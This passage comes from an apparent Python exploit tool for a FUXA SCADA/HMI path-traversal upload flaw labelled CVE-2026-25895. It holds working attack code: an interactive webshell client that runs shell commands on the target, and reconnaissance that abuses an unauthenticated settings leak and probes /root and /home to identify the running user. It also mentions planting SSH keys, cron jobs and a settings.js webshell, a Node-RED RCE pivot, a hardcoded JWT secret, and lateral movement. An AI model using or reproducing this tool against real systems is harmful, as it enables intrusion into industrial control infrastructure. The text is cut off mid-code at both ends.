\\&#8221;\\&#8221;\\&#8221;\\n        if user:\\n            line = f\\&#8221;{schedule} {user} {cmd}\\\\n\\&#8221;\\n        else:\\n            line = f\\&#8221;{schedule} {cmd}\\\\n\\&#8221;\\n        return (_CRON_HEADER + line).encode(\\&#8221;utf-8\\&#8221;)\\n    \\n    \\n    # &#8212; Webshell client &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    #\\n    # Convenience: after writing the webshell payload, the operator can exec\\n    # commands through it directly from this script instead of reaching for curl.\\n    \\n    class FuxaWebshellClient:\\n        \\&#8221;\\&#8221;\\&#8221;Thin HTTP client for the webshell listener embedded in settings.js.\\&#8221;\\&#8221;\\&#8221;\\n    \\n        def __init__(self, host: str, port: int, ws_path: str, ws_token: str,\\n                     timeout: int = 65, use_tls: bool = False,\\n                     verify_tls: bool = True, proxy: Optional[str] = None):\\n            if not ws_path.startswith(\\&#8221;\/\\&#8221;):\\n                ws_path = \\&#8221;\/\\&#8221; + ws_path\\n            scheme = \\&#8221;https\\&#8221; if use_tls else \\&#8221;http\\&#8221;\\n            self.url = f\\&#8221;{scheme}:\/\/{host}:{port}{ws_path}\\&#8221;\\n            self.token = ws_token\\n            self.timeout = timeout\\n            self.verify_tls = verify_tls\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (FUXA-CVE-2026-25895-Shell)\\&#8221;,\\n                \\&#8221;X-Auth-Token\\&#8221;: ws_token,\\n                \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;,\\n            })\\n            if proxy:\\n                self.session.proxies = {\\&#8221;http\\&#8221;: proxy, \\&#8221;https\\&#8221;: proxy}\\n    \\n        def exec(self, cmd: str) -\\u003e Tuple[int, str]:\\n            try:\\n                r = self.session.post(\\n                    self.url,\\n                    data=json.dumps({\\&#8221;cmd\\&#8221;: cmd}),\\n                    timeout=self.timeout,\\n                    verify=self.verify_tls,\\n                )\\n                return r.status_code, r.text\\n            except requests.RequestException as e:\\n                return 0, f\\&#8221;[client] request failed: {e}\\&#8221;\\n    \\n        def alive(self) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Cheap liveness check \u2014 the listener is up if `echo ok` returns.\\&#8221;\\&#8221;\\&#8221;\\n            code, body = self.exec(\\&#8221;echo ok\\&#8221;)\\n            return (code == 200 and \\&#8221;ok\\&#8221; in body), f\\&#8221;HTTP {code}: {body.strip()[:120]}\\&#8221;\\n    \\n    \\n    def _interactive_loop(client: \\&#8221;FuxaWebshellClient\\&#8221;) -\\u003e None:\\n        print(\\&#8221;[*] Webshell client \u2014 type commands, :q to exit, :help for tips\\&#8221;,\\n              flush=True)\\n        ok, info = client.alive()\\n        if ok:\\n            print(f\\&#8221;[+] Listener reachable ({info})\\&#8221;, flush=True)\\n        else:\\n            print(f\\&#8221;[!] Listener not responding yet ({info}). FUXA may not have \\&#8221;\\n                  \\&#8221;restarted since the webshell payload was written \u2014 wait for \\&#8221;\\n                  \\&#8221;the next cold start, then retry.\\&#8221;, flush=True)\\n        try:\\n            while True:\\n                try:\\n                    line = input(\\&#8221;fuxa$ \\&#8221;)\\n                except EOFError:\\n                    print()\\n                    break\\n                if not line.strip():\\n                    continue\\n                if line.strip() in (\\&#8221;:q\\&#8221;, \\&#8221;:quit\\&#8221;, \\&#8221;:exit\\&#8221;):\\n                    break\\n                if line.strip() == \\&#8221;:help\\&#8221;:\\n                    print(\\&#8221;  :q          &#8211; quit\\\\n\\&#8221;\\n                          \\&#8221;  :alive      &#8211; ping the listener\\\\n\\&#8221;\\n                          \\&#8221;  any other   &#8211; run via \/bin\/sh on the target\\&#8221;,\\n                          flush=True)\\n                    continue\\n                if line.strip() == \\&#8221;:alive\\&#8221;:\\n                    ok, info = client.alive()\\n                    print(f\\&#8221;    {&#8216;[+]&#8217; if ok else &#8216;[-]&#8217;} {info}\\&#8221;, flush=True)\\n                    continue\\n                code, body = client.exec(line)\\n                if code != 200:\\n                    print(f\\&#8221;[!] HTTP {code}\\&#8221;, flush=True)\\n                sys.stdout.write(body)\\n                if body and not body.endswith(\\&#8221;\\\\n\\&#8221;):\\n                    sys.stdout.write(\\&#8221;\\\\n\\&#8221;)\\n                sys.stdout.flush()\\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[*] Interrupted.\\&#8221;, flush=True)\\n    \\n    \\n    # &#8212; Recon helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    #\\n    # `\/api\/settings` is registered WITHOUT auth middleware in server\/api\/index.js\\n    # at line 103, so an unauthenticated GET returns the full `runtime.settings`\\n    # object (smtp password + secretCode redacted). The absolute paths in that\\n    # object reveal the FUXA cwd and, by inference, the OS user the process runs\\n    # under. This is the primary recon primitive.\\n    \\n    # Path-prefix patterns that map to a likely running user or deployment context.\\n    USER_CONTEXT_HINTS: List[Tuple[str, str, Optional[str]]] = [\\n        # (prefix,           human-readable context,                       inferred user)\\n        (\\&#8221;\/root\/\\&#8221;,           \\&#8221;paths under \/root\/\\&#8221;,                         \\&#8221;root\\&#8221;),\\n        (\\&#8221;\/usr\/src\/app\/\\&#8221;,    \\&#8221;upstream FUXA Dockerfile WORKDIR\\&#8221;,           \\&#8221;root (in container)\\&#8221;),\\n        (\\&#8221;\/opt\/fuxa\/\\&#8221;,       \\&#8221;\/opt packaged install\\&#8221;,                      \\&#8221;fuxa (typical service user)\\&#8221;),\\n        (\\&#8221;\/opt\/FUXA\/\\&#8221;,       \\&#8221;\/opt packaged install (uppercase layout)\\&#8221;,   \\&#8221;fuxa \/ root\\&#8221;),\\n        (\\&#8221;\/srv\/fuxa\/\\&#8221;,       \\&#8221;\/srv packaged install\\&#8221;,                      \\&#8221;fuxa (typical service user)\\&#8221;),\\n        (\\&#8221;\/var\/lib\/fuxa\/\\&#8221;,   \\&#8221;systemd dedicated-user install\\&#8221;,             \\&#8221;fuxa\\&#8221;),\\n        (\\&#8221;\/app\/\\&#8221;,            \\&#8221;Docker container (custom image)\\&#8221;,            \\&#8221;root (likely)\\&#8221;),\\n        (\\&#8221;\/tmp\/\\&#8221;,            \\&#8221;non-standard \/ dev\/test deployment\\&#8221;,         None),\\n    ]\\n    \\n    # Paths whose fields are worth printing in a recon summary.\\n    _RECON_KEYS_INTERESTING: List[str] = [\\n        \\&#8221;version\\&#8221;, \\&#8221;uiHost\\&#8221;, \\&#8221;uiPort\\&#8221;, \\&#8221;serverPort\\&#8221;, \\&#8221;language\\&#8221;,\\n        \\&#8221;environment\\&#8221;, \\&#8221;secureEnabled\\&#8221;, \\&#8221;nodeRedEnabled\\&#8221;, \\&#8221;swaggerEnabled\\&#8221;,\\n        \\&#8221;appDir\\&#8221;, \\&#8221;workDir\\&#8221;, \\&#8221;logDir\\&#8221;, \\&#8221;dbDir\\&#8221;,\\n        \\&#8221;uploadFileDir\\&#8221;, \\&#8221;imagesFileDir\\&#8221;, \\&#8221;widgetsFileDir\\&#8221;,\\n        \\&#8221;reportsDir\\&#8221;, \\&#8221;webcamSnapShotsDir\\&#8221;, \\&#8221;userSettingsFile\\&#8221;,\\n        \\&#8221;httpStatic\\&#8221;, \\&#8221;userDir\\&#8221;,\\n    ]\\n    \\n    # Subset of keys that should hold an absolute path \u2014 used for user inference.\\n    _RECON_KEYS_PATHS: List[str] = [\\n        \\&#8221;appDir\\&#8221;, \\&#8221;workDir\\&#8221;, \\&#8221;logDir\\&#8221;, \\&#8221;dbDir\\&#8221;,\\n        \\&#8221;uploadFileDir\\&#8221;, \\&#8221;imagesFileDir\\&#8221;, \\&#8221;widgetsFileDir\\&#8221;,\\n        \\&#8221;reportsDir\\&#8221;, \\&#8221;webcamSnapShotsDir\\&#8221;, \\&#8221;userSettingsFile\\&#8221;,\\n        \\&#8221;httpStatic\\&#8221;, \\&#8221;userDir\\&#8221;,\\n    ]\\n    \\n    \\n    # Home-directory candidates for active user inference.\\n    #\\n    # Rationale: when the install paths leaked by \/api\/settings don&#8217;t reveal the\\n    # running user (e.g. install is under \/opt, \/tmp, or a generic \/app), and the\\n    # \/root probe fails (not root), we still need the user&#8217;s name before we can\\n    # drop ssh keys or write anywhere under \/home\/\\u003cuser\\u003e\/. A 0-byte write to\\n    # \/home\/\\u003ccandidate\\u003e\/.fuxa-probe-\\u003crand\\u003e is a strong positive signal: home dirs\\n    # are typically mode 0700 owned by the user, so a successful write implies\\n    # FUXA runs as that user. Failure is ambiguous (no dir OR no perm), so we\\n    # only act on successes.\\n    #\\n    # Keep this list short and high-signal. Each probe leaves a marker file on the\\n    # target, so a 100-entry list also means 100 files to clean up. Operators with\\n    # a known-user shortlist should pass &#8211;home-wordlist.\\n    \\n    DEFAULT_HOME_CANDIDATES: List[str] = [\\n        # Service \/ role accounts common on SCADA \/ OT boxes\\n        \\&#8221;fuxa\\&#8221;, \\&#8221;scada\\&#8221;, \\&#8221;operator\\&#8221;, \\&#8221;opc\\&#8221;, \\&#8221;plc\\&#8221;, \\&#8221;hmi\\&#8221;,\\n        \\&#8221;node\\&#8221;, \\&#8221;nodered\\&#8221;, \\&#8221;service\\&#8221;, \\&#8221;app\\&#8221;,\\n        # Distro \/ image defaults\\n        \\&#8221;ubuntu\\&#8221;, \\&#8221;debian\\&#8221;, \\&#8221;centos\\&#8221;, \\&#8221;admin\\&#8221;, \\&#8221;pi\\&#8221;,\\n        # Generic\\n        \\&#8221;user\\&#8221;,\\n    ]\\n    \\n    \\n    def _infer_user_from_path(p: str) -\\u003e Tuple[str, Optional[str]]:\\n        \\&#8221;\\&#8221;\\&#8221;Given one absolute path from settings, return (context, likely_user).\\&#8221;\\&#8221;\\&#8221;\\n        if p.startswith(\\&#8221;\/home\/\\&#8221;):\\n            # Expect \/home\/\\u003cname\\u003e\/&#8230; \u2014 grab the \\u003cname\\u003e segment.\\n            parts = p.split(\\&#8221;\/\\&#8221;, 3)   # [&#8221;, &#8216;home&#8217;, &#8216;\\u003cname\\u003e&#8217;, &#8216;\\u003crest\\u003e&#8217;]\\n            if len(parts) \\u003e= 3 and parts[2]:\\n                return (f\\&#8221;home-directory install under \/home\/{parts[2]}\/\\&#8221;, parts[2])\\n            return (\\&#8221;home-directory install under \/home\/\\&#8221;, None)\\n        for prefix, label, user in USER_CONTEXT_HINTS:\\n            if p.startswith(prefix):\\n                return (label, user)\\n        return (\\&#8221;unrecognized path layout \u2014 inspect manually\\&#8221;, None)\\n    \\n    \\n    def probe_home_directories(ex: \\&#8221;FuxaUploadExploit\\&#8221;, depth: int,\\n                               candidates: List[str]\\n                               ) -\\u003e Tuple[List[str], List[str]]:\\n        \\&#8221;\\&#8221;\\&#8221;Iterate \/home\/\\u003ccandidate\\u003e\/ with a 0-byte write probe.\\n    \\n        The upload handler (server\/api\/projects\/index.js) runs\\n            if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });\\n            fs.writeFileSync(filePath, &#8230;);\\n        so the failing syscall in the server&#8217;s error message tells us which step\\n        tripped, and that determines what the filesystem actually looks like:\\n    \\n          * 200 OK                         -\\u003e home exists AND FUXA can write\\n                                              -\\u003e likely the running user\\n          * 400 EACCES, syscall=open\/write -\\u003e home dir exists but mode-0700 owned\\n                                              by someone else -\\u003e OTHER user exists\\n          * 400 EACCES, syscall=mkdir      -\\u003e home dir does NOT exist; we tried\\n                                              to create it under root-owned \/home\/\\n                                              and got denied -\\u003e user absent\\n          * 400 ENOENT                     -\\u003e deep ancestor missing (rare under\\n                                              recursive mkdir); treat as absent\\n          * anything else                  -\\u003e unexpected; stay silent\\n    \\n        Distinguishing mkdir-EACCES from open-EACCES is critical: without it,\\n        every candidate in the wordlist reports as \\&#8221;account present\\&#8221; because\\n        non-root FUXA can&#8217;t mkdir under \/home\/ regardless of whether the user\\n        exists. See the fuxapwn write-up for the observed behaviour.\\n    \\n        Returns (writable_users, other_existing_users). Multiple entries in\\n        writable_users indicate FUXA is root or group perms are loose; the\\n        caller decides how to report.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        writable: List[str] = []\\n        other_exists: List[str] = []\\n        markers: List[str] = []\\n        for user in candidates:\\n            marker = f\\&#8221;.fuxa-probe-{secrets.token_hex(4)}\\&#8221;\\n            target = f\\&#8221;\/home\/{user}\/{marker}\\&#8221;\\n            res = ex.write_arbitrary(target, b\\&#8221;\\&#8221;, appdir_depth=depth,\\n                                     file_type=\\&#8221;svg\\&#8221;)\\n            if res[\\&#8221;success\\&#8221;]:\\n                print(f\\&#8221;    [+] \/home\/{user}\/ is writable (likely user: {user})\\&#8221;,\\n                      flush=True)\\n                writable.append(user)\\n                markers.append(target)\\n                continue\\n            errno = res.get(\\&#8221;errno\\&#8221;)\\n            syscall = res.get(\\&#8221;syscall\\&#8221;)\\n            # Only an EACCES on the write itself (open\/write\/copyfile\/etc., i.e.\\n            # anything that isn&#8217;t the pre-flight mkdir) proves the home dir\\n            # exists. A mkdir EACCES just means \/home\/\\u003cuser\\u003e\/ is absent and we\\n            # can&#8217;t create it.\\n            if errno == \\&#8221;EACCES\\&#8221; and syscall and syscall != \\&#8221;mkdir\\&#8221;:\\n                print(f\\&#8221;    [*] \/home\/{user}\/ exists but is not writable \\&#8221;\\n                      \\&#8221;(EACCES on write) \u2014 account present, not the FUXA user\\&#8221;,\\n                      flush=True)\\n                other_exists.append(user)\\n            # All other outcomes (EACCES+mkdir, ENOENT, unknown) are treated as\\n            # \\&#8221;not here\\&#8221; and stay silent \u2014 logging each miss drowns the signal.\\n        if markers:\\n            print(\\&#8221;[*] Probe markers left on target \u2014 clean up once you have exec:\\&#8221;,\\n                  flush=True)\\n            for m in markers:\\n                print(f\\&#8221;       rm {m}\\&#8221;, flush=True)\\n        return writable, other_exists\\n    \\n    \\n    def do_recon(ex: \\&#8221;FuxaUploadExploit\\&#8221;, depth: int,\\n                 probe_root: bool = False, probe_home: bool = False,\\n                 home_candidates: Optional[List[str]] = None) -\\u003e int:\\n        \\&#8221;\\&#8221;\\&#8221;Run &#8211;mode recon: fetch \/api\/settings (unauth), summarize running\\n        context, infer likely OS user, and optionally probe \/root\/ or\\n        \/home\/\\u003cuser\\u003e\/ writability to pin down the running user when paths\\n        alone don&#8217;t leak it.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;[*] Stage 1 \u2014 GET \/api\/settings (unauthenticated leak)\\&#8221;, flush=True)\\n        ok, info, settings = ex.fetch_settings()\\n        if not ok or settings is None:\\n            print(f\\&#8221;[-] \/api\/settings fetch failed: {info}\\&#8221;, flush=True)\\n            return 1\\n    \\n        print(\\&#8221;[+] \/api\/settings returned JSON. Interesting fields:\\&#8221;, flush=True)\\n        for k in _RECON_KEYS_INTERESTING:\\n            if k in settings:\\n                print(f\\&#8221;    {k:22s} = {settings[k]!r}\\&#8221;, flush=True)\\n    \\n        # Path-based user inference.\\n        print(\\&#8221;[*] Stage 2 \u2014 user inference from absolute path layout:\\&#8221;, flush=True)\\n        candidates: \\&#8221;set[str]\\&#8221; = set()\\n        saw_path = False\\n        for k in _RECON_KEYS_PATHS:\\n            v = settings.get(k)\\n            if not isinstance(v, str) or not v.startswith(\\&#8221;\/\\&#8221;):\\n                continue\\n            saw_path = True\\n            label, user = _infer_user_from_path(v)\\n            suffix = f\\&#8221; -\\u003e likely user: {user}\\&#8221; if user else \\&#8221;\\&#8221;\\n            print(f\\&#8221;    {k}={v}  [{label}]{suffix}\\&#8221;, flush=True)\\n            if user:\\n                candidates.add(user)\\n    \\n        if not saw_path:\\n            print(\\&#8221;    (no absolute paths reported \u2014 manual inspection required)\\&#8221;,\\n                  flush=True)\\n        elif candidates:\\n            print(f\\&#8221;[+] Likely running user(s): {&#8216;, &#8216;.join(sorted(candidates))}\\&#8221;,\\n                  flush=True)\\n        else:\\n            print(\\&#8221;[!] Could not infer user from paths alone. Re-run with \\&#8221;\\n                  \\&#8221;&#8211;probe-root to confirm root access directly.\\&#8221;, flush=True)\\n    \\n        # Node-RED gate \u2014 key tell for instant unauth RCE.\\n        if settings.get(\\&#8221;nodeRedEnabled\\&#8221;):\\n            print(\\&#8221;[!] nodeRedEnabled=true \u2014 POST \/nodered\/flows and \\&#8221;\\n                  \\&#8221;\/nodered\/flows\/deploy bypass auth in allowDashboard \\&#8221;\\n                  \\&#8221;(server\/integrations\/node-red\/index.js:134-136). A function \\&#8221;\\n                  \\&#8221;node flow is instant unauth RCE; no FUXA restart required.\\&#8221;,\\n                  flush=True)\\n        else:\\n            print(\\&#8221;[*] nodeRedEnabled=false \u2014 Node-RED instant-RCE pivot not \\&#8221;\\n                  \\&#8221;currently available (would require flipping the setting and \\&#8221;\\n                  \\&#8221;a restart).\\&#8221;, flush=True)\\n    \\n        # Optional active probe: write a 0-byte marker to \/root\/.\\n        root_writable: Optional[bool] = None\\n        if probe_root:\\n            marker = f\\&#8221;.fuxa-probe-{secrets.token_hex(4)}\\&#8221;\\n            target = f\\&#8221;\/root\/{marker}\\&#8221;\\n            print(f\\&#8221;[*] Stage 3 \u2014 probing \/root\/ writability via {target}\\&#8221;,\\n                  flush=True)\\n            res = ex.write_arbitrary(target, b\\&#8221;\\&#8221;, appdir_depth=depth,\\n                                     file_type=\\&#8221;svg\\&#8221;)\\n            if res[\\&#8221;success\\&#8221;]:\\n                root_writable = True\\n                print(f\\&#8221;[+] \/root\/{marker} write SUCCEEDED \u2014 FUXA is running as \\&#8221;\\n                      f\\&#8221;root. (Clean up {target} once you have exec.)\\&#8221;,\\n                      flush=True)\\n            else:\\n                root_writable = False\\n                errno = res.get(\\&#8221;errno\\&#8221;) or \\&#8221;unknown\\&#8221;\\n                print(f\\&#8221;[-] \/root write failed (errno={errno}) \u2014 FUXA is NOT \\&#8221;\\n                      \\&#8221;root.\\&#8221;, flush=True)\\n    \\n        # Optional active probe: iterate \/home\/\\u003cuser\\u003e\/ candidates. Most useful\\n        # when paths didn&#8217;t leak the user and root probe came back negative\\n        # (or wasn&#8217;t run). If root was confirmed writable, we still run the\\n        # probe if asked but annotate that positives are not conclusive.\\n        if probe_home:\\n            candidates = home_candidates if home_candidates else DEFAULT_HOME_CANDIDATES\\n            stage = \\&#8221;Stage 4\\&#8221; if probe_root else \\&#8221;Stage 3\\&#8221;\\n            print(f\\&#8221;[*] {stage} \u2014 probing \/home\/\\u003cuser\\u003e\/ writability across \\&#8221;\\n                  f\\&#8221;{len(candidates)} candidate(s)\\&#8221;, flush=True)\\n            writable, other_exists = probe_home_directories(ex, depth, candidates)\\n    \\n            if other_exists:\\n                print(f\\&#8221;[*] Other user accounts confirmed on target (home exists, \\&#8221;\\n                      f\\&#8221;not the FUXA user): {&#8216;, &#8216;.join(other_exists)}. Useful for \\&#8221;\\n                      \\&#8221;lateral movement planning.\\&#8221;, flush=True)\\n    \\n            if not writable:\\n                if other_exists:\\n                    print(\\&#8221;[-] None of the probed accounts ARE the FUXA user. \\&#8221;\\n                          \\&#8221;Extend the wordlist via &#8211;home-wordlist, or drop a \\&#8221;\\n                          \\&#8221;webshell\/cron payload to enumerate via exec.\\&#8221;,\\n                          flush=True)\\n                else:\\n                    print(\\&#8221;[-] No \/home\/\\u003cuser\\u003e in the candidate list was writable \\&#8221;\\n                          \\&#8221;or even present. Target may not use \/home\/ layout \\&#8221;\\n                          \\&#8221;(e.g. \/var\/lib, \/opt, containerized). Extend via \\&#8221;\\n                          \\&#8221;&#8211;home-wordlist or pivot to webshell\/cron.\\&#8221;,\\n                          flush=True)\\n            elif root_writable:\\n                print(\\&#8221;[!] \/root was writable earlier, so FUXA is root and can \\&#8221;\\n                      \\&#8221;write to any \/home\/\\u003cuser\\u003e\/. The positives above do NOT \\&#8221;\\n                      \\&#8221;identify the running user.\\&#8221;, flush=True)\\n            elif len(writable) == 1:\\n                user = writable[0]\\n                print(f\\&#8221;[+] Inferred running user: {user}\\&#8221;, flush=True)\\n                print(f\\&#8221;    Suggested follow-up for mode=ssh-key: &#8211;home \/home\/{user}\\&#8221;,\\n                      flush=True)\\n            else:\\n                print(f\\&#8221;[!] Multiple \/home\/\\u003cuser\\u003e\/ dirs were writable: \\&#8221;\\n                      f\\&#8221;{&#8216;, &#8216;.join(writable)}. Unusual (loose group perms, shared \\&#8221;\\n                      \\&#8221;service account, or root). Confirm via webshell\/cron exec.\\&#8221;,\\n                      flush=True)\\n    \\n        return 0\\n    \\n    \\n    # &#8212; Payload-time helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    def _fetch_real_settings_for_payload(ex: \\&#8221;FuxaUploadExploit\\&#8221;) -\\u003e Optional[Dict]:\\n        \\&#8221;\\&#8221;\\&#8221;Fetch \/api\/settings so our settings.js replacement can preserve the\\n        target&#8217;s real config. Returns None on failure (caller falls back to the\\n        built-in default). Warns on operational gotchas (auth enabled, smtp set)\\n        that the redaction behavior of \/api\/settings can&#8217;t round-trip.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;[*] Pre-fetching \/api\/settings so the replacement preserves the \\&#8221;\\n              \\&#8221;target&#8217;s real config&#8230;\\&#8221;, flush=True)\\n        ok, info, settings = ex.fetch_settings()\\n        if not ok or settings is None:\\n            print(f\\&#8221;[!] \/api\/settings fetch failed ({info}). Falling back to the \\&#8221;\\n                  \\&#8221;built-in default settings block \u2014 custom uiPort, \\&#8221;\\n                  \\&#8221;allowedOrigins, secureEnabled, etc. on the target will be \\&#8221;\\n                  \\&#8221;reset on next restart. Consider aborting if config fidelity \\&#8221;\\n                  \\&#8221;matters for this engagement.\\&#8221;, flush=True)\\n            return None\\n        # Operational warnings based on what we got back.\\n        if settings.get(\\&#8221;secureEnabled\\&#8221;):\\n            print(\\&#8221;[!] target has secureEnabled=true. \/api\/settings redacts \\&#8221;\\n                  \\&#8221;secretCode, so the replacement settings.js cannot round-trip \\&#8221;\\n                  \\&#8221;it. FUXA&#8217;s jwt-helper.js will fall back to the hardcoded \\&#8221;\\n                  \\&#8221;default &#8216;frangoteam751&#8217;, which invalidates any existing JWTs \\&#8221;\\n                  \\&#8221;if the target previously set a custom secretCode. Users will \\&#8221;\\n                  \\&#8221;be kicked out on next request after restart.\\&#8221;, flush=True)\\n        if isinstance(settings.get(\\&#8221;smtp\\&#8221;), dict):\\n            print(\\&#8221;[!] target has smtp configured. \/api\/settings redacts \\&#8221;\\n                  \\&#8221;smtp.password; replacement settings.js will have no smtp \\&#8221;\\n                  \\&#8221;password. Outgoing mail from FUXA will fail until restored.\\&#8221;,\\n                  flush=True)\\n        print(f\\&#8221;[+] Pulled {len(settings)} settings keys; replacement will mirror \\&#8221;\\n              \\&#8221;the target.\\&#8221;, flush=True)\\n        return settings\\n    \\n    \\n    # &#8212; Driver &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    def run(args: argparse.Namespace) -\\u003e int:\\n        if not args.quiet:\\n            print(BANNER, flush=True)\\n    \\n        ex = FuxaUploadExploit(\\n            base_url=args.url,\\n            timeout=args.timeout,\\n            verify_tls=not args.insecure,\\n            proxy=args.proxy,\\n            verbose=not args.quiet,\\n        )\\n    \\n        print(f\\&#8221;[*] Target: {args.url}\\&#8221;, flush=True)\\n    \\n        # Recon mode runs on \/api\/settings directly \u2014 no canary needed, and we\\n        # explicitly do NOT want to write anything unless &#8211;probe-root \/\\n        # &#8211;probe-home is set.\\n        if args.mode == \\&#8221;recon\\&#8221;:\\n            ok, info = ex.fingerprint()\\n            if ok:\\n                print(f\\&#8221;[+] \/api\/version reachable, banner='{info}&#8217;\\&#8221;, flush=True)\\n            else:\\n                print(f\\&#8221;[-] \/api\/version unreachable: {info}\\&#8221;, flush=True)\\n                if not args.force:\\n                    return 1\\n    \\n            # Load &#8211;home-wordlist if supplied. One username per line, blanks\\n            # and &#8216;#&#8217; comments ignored so the operator can paste from notes.\\n            # BOM-aware so PowerShell-generated files (UTF-16 LE w\/ BOM is the\\n            # PS 5.1 default for `echo x \\u003e file`) load without UnicodeDecodeError.\\n            home_candidates: Optional[List[str]] = None\\n            if args.home_wordlist:\\n                try:\\n                    with open(args.home_wordlist, \\&#8221;rb\\&#8221;) as f:\\n                        raw = f.read()\\n                except OSError as e:\\n                    print(f\\&#8221;[-] Could not read &#8211;home-wordlist {args.home_wordlist}: \\&#8221;\\n                          f\\&#8221;{e}\\&#8221;, flush=True)\\n                    return 2\\n                if raw.startswith(b\\&#8221;\\\\xff\\\\xfe\\&#8221;):\\n                    text = raw.decode(\\&#8221;utf-16-le\\&#8221;).lstrip(\\&#8221;\\\\ufeff\\&#8221;)\\n                elif raw.startswith(b\\&#8221;\\\\xfe\\\\xff\\&#8221;):\\n                    text = raw.decode(\\&#8221;utf-16-be\\&#8221;).lstrip(\\&#8221;\\\\ufeff\\&#8221;)\\n                elif raw.startswith(b\\&#8221;\\\\xef\\\\xbb\\\\xbf\\&#8221;):\\n                    text = raw.decode(\\&#8221;utf-8-sig\\&#8221;)\\n                else:\\n                    try:\\n                        text = raw.decode(\\&#8221;utf-8\\&#8221;)\\n                    except UnicodeDecodeError:\\n                        text = raw.decode(\\&#8221;latin-1\\&#8221;)\\n                home_candidates = [\\n                    line.strip() for line in text.splitlines()\\n                    if line.strip() and not line.strip().startswith(\\&#8221;#\\&#8221;)\\n                ]\\n                if not home_candidates:\\n                    print(f\\&#8221;[-] &#8211;home-wordlist {args.home_wordlist} is empty after \\&#8221;\\n                          \\&#8221;stripping comments\/blanks.\\&#8221;, flush=True)\\n                    return 2\\n                print(f\\&#8221;[*] Loaded {len(home_candidates)} home candidate(s) from \\&#8221;\\n                      f\\&#8221;{args.home_wordlist}\\&#8221;, flush=True)\\n    \\n            return do_recon(ex, depth=args.depth,\\n                            probe_root=args.probe_root,\\n                            probe_home=args.probe_home,\\n                            home_candidates=home_candidates)\\n    \\n        # Everything else uses the write primitive; start with the reachability +\\n        # canary checks we&#8217;ve always done.\\n        ok, info = ex.fingerprint()\\n        if not ok:\\n            print(f\\&#8221;[-] \/api\/version reachability failed: {info}\\&#8221;, flush=True)\\n            if not args.force:\\n                return 1\\n            print(\\&#8221;[!] &#8211;force given, continuing anyway\\&#8221;, flush=True)\\n        else:\\n            print(f\\&#8221;[+] \/api\/version reachable, banner='{info}&#8217;\\&#8221;, flush=True)\\n    \\n        # webshell-exec is a pure client mode \u2014 no canary write.\\n        if args.mode == \\&#8221;webshell-exec\\&#8221;:\\n            if not (args.ws_host and args.ws_port and args.ws_path\\n                    and args.ws_token):\\n                print(\\&#8221;[-] &#8211;ws-host, &#8211;ws-port, &#8211;ws-path, and &#8211;ws-token are \\&#8221;\\n                      \\&#8221;all required for mode=webshell-exec\\&#8221;, flush=True)\\n                return 2\\n            client = FuxaWebshellClient(\\n                host=args.ws_host,\\n                port=args.ws_port,\\n                ws_path=args.ws_path,\\n                ws_token=args.ws_token,\\n                timeout=args.timeout + 60,\\n                use_tls=args.ws_tls,\\n                verify_tls=not args.insecure,\\n                proxy=args.proxy,\\n            )\\n            if args.interact:\\n                _interactive_loop(client)\\n                return 0\\n            if not args.ws_cmd:\\n                print(\\&#8221;[-] &#8211;ws-cmd is required for mode=webshell-exec without \\&#8221;\\n                      \\&#8221;&#8211;interact\\&#8221;, flush=True)\\n                return 2\\n            code, body = client.exec(args.ws_cmd)\\n            if code != 200:\\n                print(f\\&#8221;[-] HTTP {code}: {body}\\&#8221;, flush=True)\\n                return 1\\n            sys.stdout.write(body)\\n            if body and not body.endswith(\\&#8221;\\\\n\\&#8221;):\\n                sys.stdout.write(\\&#8221;\\\\n\\&#8221;)\\n            sys.stdout.flush()\\n            return 0\\n    \\n        # 1) Run the proof-of-write canary first so we know the path traversal\\n        #    works on this instance before dropping anything heavier. Skippable\\n        #    via &#8211;no-canary for engagements where the extra filesystem artifact\\n        #    is undesirable.\\n        if args.no_canary:\\n            print(\\&#8221;[*] Stage 1 \u2014 canary SKIPPED (&#8211;no-canary). Proceeding \\&#8221;\\n                  \\&#8221;straight to mode-specific payload.\\&#8221;, flush=True)\\n        else:\\n            canary_path = args.canary or \\&#8221;\/tmp\/healthcheck\\&#8221;\\n            if args.canary_content:\\n                try:\\n                    with open(args.canary_content, \\&#8221;rb\\&#8221;) as f:\\n                        canary_body = f.read()\\n                except OSError as e:\\n                    print(f\\&#8221;[-] Could not read &#8211;canary-content \\&#8221;\\n                          f\\&#8221;{args.canary_content}: {e}\\&#8221;, flush=True)\\n                    return 2\\n            else:\\n                canary_body = payload_proof(args.url)\\n            print(f\\&#8221;[*] Stage 1 \u2014 proof-of-write canary -\\u003e {canary_path}\\&#8221;,\\n                  flush=True)\\n            res = ex.write_arbitrary(canary_path, canary_body,\\n                                     appdir_depth=args.depth)\\n            print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\n                  f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\n            if res[\\&#8221;success\\&#8221;]:\\n                print(f\\&#8221;[!] Canary left on target: {canary_path}  \\&#8221;\\n                      f\\&#8221;(clean up once you have exec)\\&#8221;, flush=True)\\n            else:\\n                errno = res.get(\\&#8221;errno\\&#8221;)\\n                if errno == 